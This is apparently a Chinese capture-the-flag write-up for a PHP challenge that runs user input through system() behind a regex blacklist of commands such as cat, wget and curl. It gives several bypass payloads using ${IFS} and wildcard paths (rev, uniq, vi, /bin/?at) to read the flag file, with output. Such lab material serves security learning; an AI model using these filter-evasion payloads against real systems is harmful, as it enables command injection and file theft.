web54笔记(严格过滤+*匹配+nl等)
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:43:42 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
其他都差不多,主要是这里使用了很多星号来匹配,比如 .*c.*a.*t.* ,只要内容顺序符合 ...c...a...t...就会被检测,不管在这三个字母前后或者中间有什么,都会匹配成功。
nl 被过滤掉了,我们可以使用 rev 反向输出。
并且这里通配符问号没有被过滤,构造 payload:
?c=rev${IFS}fla?.php
得到:}eb6e9b9a201f-cddb-1154-8606-9785878a{wohsftc取倒序:
在网上还看到了另一个命令:uniq
本来这个命令是用于去除相邻的重复行,但是我们也可以用它来输出文件内容。
构造 payload: ?c=uniq${IFS}f???.php
但是这里在这个通配符上面就有点讲究了,比如:?c=uniq${IFS}f?a?.php 可以,但是 ?c=uniq${IFS}fl??.php 就不行了,?c=uniq${IFS}fla?.php更不行。 目前不知道是什么原因,知道的可以解释下谢谢。
此外,还可以使用 vi 命令,构造
payload: ?c=vi${IFS}fla?.php
结果有乱码,但是可以在源码里找到 flag
最后再来看题目提示给的
payload: ?c=/bin/?at${IFS}f???????
因为 Linux 有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符。
查看源代码
浙公网安备 33010602011771号